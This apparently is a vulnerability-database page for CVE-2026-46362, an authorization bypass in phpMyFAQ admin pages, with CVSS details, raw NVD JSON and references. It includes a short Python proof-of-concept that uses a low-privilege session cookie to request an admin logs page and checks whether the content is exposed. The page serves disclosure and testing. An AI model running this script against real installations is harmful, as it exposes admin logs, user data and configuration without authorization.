Security Vulnerability Report
中文
CVE-2026-46362 CVSS 6.5 MEDIUM

CVE-2026-46362

Published: 2026-05-15 19:17:04
Last Modified: 2026-05-15 19:17:04

Description

phpMyFAQ before 4.1.2 contains an authorization bypass vulnerability in AbstractAdministrationController::userHasPermission() that fails to terminate execution after sending a forbidden response. Attackers can access all permission-protected admin pages by requesting their URLs as authenticated users, exposing admin logs, user data, system information, and application configuration.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_poc(target_url, session_cookie): """ PoC for CVE-2026-46362 Tests if an authenticated low-priv user can access admin pages. """ # Example endpoint that requires admin permissions admin_endpoint = target_url + "/admin/index.php?action=logs" headers = { "User-Agent": "Mozilla/5.0 (PoC-Scanner)", "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.get(admin_endpoint, headers=headers, verify=False, timeout=10) # The vulnerability allows the content to be rendered even if 403 is sent if response.status_code == 200 or (response.status_code == 403 and "admin" in response.text.lower()): print(f"[+] Potential Authorization Bypass detected at {target_url}") print(f"[+] Response Length: {len(response.text)}") return True else: print("[-] Target appears not vulnerable or requires valid session.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Usage # target = "http://phpmyfaq-target.com" # session = "valid_attacker_session_id" # check_poc(target, session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-46362", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:03.520", "lastModified": "2026-05-15T19:17:03.520", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains an authorization bypass vulnerability in AbstractAdministrationController::userHasPermission() that fails to terminate execution after sending a forbidden response. Attackers can access all permission-protected admin pages by requesting their URLs as authenticated users, exposing admin logs, user data, system information, and application configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68r", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-authorization-bypass-in-admin-pages-via-non-terminating-permission-check", "source": "[email protected]"}]}}